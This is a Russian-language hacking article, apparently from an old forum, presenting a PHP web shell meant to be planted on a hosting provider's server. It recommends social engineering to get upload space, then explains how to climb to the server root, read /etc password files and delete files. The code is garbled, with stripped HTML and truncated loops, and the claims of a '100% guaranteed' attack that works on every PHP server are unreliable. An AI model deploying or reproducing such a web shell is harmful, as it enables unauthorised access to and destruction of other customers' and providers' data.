Данная атака на сервер проходит со 100% гарантией. Для успешной атаки
взломщику необходимо дисковое пространство на сервере размером в 10 Kb
(столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко
не секрет, что Хакеры
очень часто проникают в систему используя социнженерию, тоесть
изначально подготавливают жертву, чтобы та им доверяла, получают от неё
информацию и осуществляют взлом. Поэтому раздобыть на любом сервере
небольшое дисковое пространство для хакера не проблема. В крайнем
случае можно и купить себе домен на сервере провайдера или любой другой
хостинговой компании, которую хакер собирается взломать.
В большей
части взлому подвержены бесплатные хостинговые компании и провайдеры,
которые при регистрации доступа в интернет дают бесплатное место для
размещение домашней странички пользователя с запуском собственных PHP
скриптов.
Идея реализации атаки заключается в том, чтобы залезть
на жесткий диск провайдера и иметь возможность управлять файлами,
тоесть удалять, просматривать, редактировать. Для этого нам придётся
написать небольшой скрипт, который получит доступ к ресурсам сервера.
Для начала определим какими функциями должен обладать скрипт: заложим в
него функции удаления выбранных файлов, скрипт должен уметь
просматривать картинки, открывать каталоги, выставлять права доступа к
файлам, знать когда файл был создан в системе, когда файл был изменён,
к какой группе относится файл и выставлять соответствующую иконку для
удобства, переходить из каталога в каталог, указывать полные пути до
файлов:
inode == $b->inode )
return 0;
switch( $sort ) //объявляем , что по каким функциям будет сортироваться { case "size": return ($a->size > $b->size) ? -1 : 1; case "type": return strcmp($a->type, $b->type); case "view": return strcmp($a->view, $b->view); case "atime": return ($a->atime > $b->atime) ? -1 : 1; case "ctime": return ($a->ctime > $b->ctime) ? -1 : 1; case "mtime": return ($a->mtime > $b->mtime) ? -1 : 1; case "group": return strcmp($a->group, $b->group); case "inode": return ($a->inode > $b->inode) ? -1 : 1; case "owner": return strcmp($a->owner, $b->owner); case "perms": return ($a->perms > $b->perms) ? -1 : 1; case "ext": return strcmp($a->ext, $b->ext); case "name": default: return 1; } }
function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла { switch( $ext ) { case "dir": $file = "dir"; break; case "link": $file = "link"; break; case "zip": case "tgz": case "gz": case "Z": $file = "compressed"; break; case "gif": case "jpg": $file = "image2"; break; case "dvi": $file = "dvi"; break; case "": case "exe": $file = "binary"; break; case "sh": case "php": case "php3": case "sql": case "inc": case "js": $file = "script"; break; case "txt": $file = "text"; break; case "html": case "shtml": case "phtml": $file = "world1"; break; default: $file = "generic"; break; }
return $IMG=""; }
class MyFile { //объявляем какие данные будут получены var $name; var $path; var $type; var $ext; var $stype; var $sfile; var $size; var $file; var $atime; var $ctime; var $mtime; var $group; var $inode; var $owner; var $perms;
function set( $filename, $path ) { GLOBAL $cd; //объявляем функции перехода по каталогам
$this->name = $filename; $this->path = $path; $this->file = $this->path."/".$this->name;
$this->type = filetype( $this->file ); $this->size = filesize( $this->file ); $this->atime = fileatime( $this->file ); $this->ctime = filectime( $this->file ); $this->mtime = filemtime( $this->file ); $this->group = filegroup( $this->file ); $this->inode = fileinode( $this->file ); $this->owner = fileowner( $this->file ); $this->perms = fileperms( $this->file );
switch( $this->type ) { case "link": $this->sfile = readlink( $this->file ); $this->stype = filetype( $this->sfile ); $this->ext = "link"; break; case "file": $list = explode( ".", $this->name ); $nb = sizeof( $list ); if( $nb > 0 ) $this->stype = $list[$nb-1]; else $this->stype = "???";
$this->ext = $this->stype;
switch( $this->stype ) { case "gif": case "GIF": case "jpg": case "JPG": if( isset( $cd ) ) $pwd = $cd."/"; else $pwd = "";
$this->sfile = "file."'>"; break; default: $this->sfile = $this->stype; break; } break; default: $this->stype = ""; $this->sfile = ""; $this->ext = $this->type; break; } }
function formatSize() { return number_format( $this->size, 0, ".", " "); } }
function genUrl( $ref, $args, $key = "", $val = "" )
{ $valist = "";
reset( $args );
if( $key != "" ) $args[ "$key" ] = $val;
if( !is_array( $args ) ) return $ref;
while( list( $key, $val ) = each( $args ) ) { if( $val == "" ) continue;
if( $valist == "" ) $valist .= "?"; else $valist .= "&";
$valist .= $key."=".$val; } return $ref.$valist; }
function updir( $path ) { $last = strrchr( $path, "/" ); $n1 = strlen( $last ); $n2 = strlen( $path ); return substr( $path, 0, $n2-$n1 ); }
$ref = "dir.php";
if( isset( $cd ) ) { $path = $cd; //$lcd = "?cd=$cd'"; $args[ "cd" ] = $cd; } else { $path = "."; //$lcd = ""; $args[ "cd" ] = ""; }
if( isset( $nb ) ) { for( $i = 0; $i $file успешно удалён"; //сообщение об успешном удалении файла else echo " Не могу удалить выставите права доступа $file"; //сообщение о невозможности удалить файл который доступен только для чтения } elseif( is_dir( $file ) ) { if( rmdir( $file ) ) echo " $file успешно удалён"; //сообщение об успешном удалении else echo " файл недоступен для удаления$file"; //сообщение о невозможности удалить файл } } } }
$step = 100;
if( !isset( $sort ) ) $sort = "name"; else $args[ "sort" ] = $sort;
if( !isset( $from ) ) $from = 0; else $args[ "from" ] = $from;
if( !isset( $to ) ) $to = $from + $step;
$d = dir($path); echo ""; echo " Вернуться в начало"; //ссылка на возврат в домашнею директорию скрипта $updir = updir($d->path); if( $updir != "." ) echo " Подняться на директорию вверх; $updir"; //ссылка на директорию вверх echo " Открыть директорию: path."/..>.."; //обновление текущей директории echo " Текущая директория: ".$d->path.""; //показываем путь до директории и файлов, которые в ней находятся
$n = 0; while( $entry=$d->read() ) { $lFiles[ $n ] = new MyFile; $lFiles[ $n ]->set( $entry, $path ); $n++; }
$d->close(); //создаём HTML форму управления функциями echo ""; echo ""; echo ""; echo "D"; //echo "Type"; echo "Имя"; echo "Размер"; echo "Класс"; echo "В системе"; echo "Создан"; echo "Изменён"; echo "Размер"; echo "Группа"; echo "ow"; echo "in"; echo "Показ"; echo "";
@usort( $lFiles, cmp );
for( $i = 0; $i = $to ) ) continue;
$k = $i; echo ""; echo "name ."'>";
$IMG=getIcons( $lFiles[ $k ]->ext );
$dform = "M j y H:i"; // echo "".$lFiles[ $k ]->type.""; echo "$IMG".$lFiles[ $k ]->name.""; echo "".$lFiles[ $k ]->formatSize().""; echo "".$lFiles[ $k ]->ext .""; echo "".date( $dform, $lFiles[ $k ]->atime ).""; echo "".date( $dform, $lFiles[ $k ]->ctime ).""; echo "".date( $dform, $lFiles[ $k ]->mtime ).""; echo "".$lFiles[ $k ]->perms.""; echo "".$lFiles[ $k ]->group.""; echo "".$lFiles[ $k ]->owner.""; echo "".$lFiles[ $k ]->inode."";
switch( $lFiles[ $k ]->type ) { case "link": if( $lFiles[ $k ]->stype == "dir" ) { $tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name; echo "". $lFiles[ $k ]->sfile.""; } else echo "".$lFiles[ $k ]->sfile.""; break; case "dir": $tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name; echo "". $lFiles[ $k ]->name.""; break; case "file": echo "".$lFiles[ $k ]->sfile.""; break; default: echo "NO"; break; } echo ""; }
echo "";
$from = $from - $step; if( isset( $cd ) ) { echo ""; } echo "";
//echo " from=$from;to=$to;n=$n"; echo " "; if( $from >= 0 ) { echo "Предыдущий/"; } if( $to Далее "; } echo " "; echo ""; echo ""; ?> //говорим что PHP скрипт кончился
Вот реализация скрипта, который позволяет вам получить доступ в
каталоги провайдера, содержащиеся у него на винчестере. Потенциальная
опасность применения данного скрипта в том, что злоумышленник получает
практически всю информацию о сервере, также злоумышленник получает
доступ к папки etc, где хранятся пароли. При проверке работоспособности
скрипта и проверке на уязвимости было выявлено, что все сервера, на
которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт
помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов,
в директорию домашней странички. По умолчанию скрипт просматривает все
находящиеся файлы в той директории, куда он был загружен для того,
чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на
каталог выше" до тех пор, пока вы не увидите корневой каталог сервера.
При выходе из вашей директории скрипт возможно сообщит вам о
невозможности выйти из вашего каталога, это сообщение сервера
игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт
передаст данные серверу о том, что каталоги которые вы пытаетесь
просмотреть являются вашими и вас пропустят. Так же смотрите раздел форума посвященный этой теме
|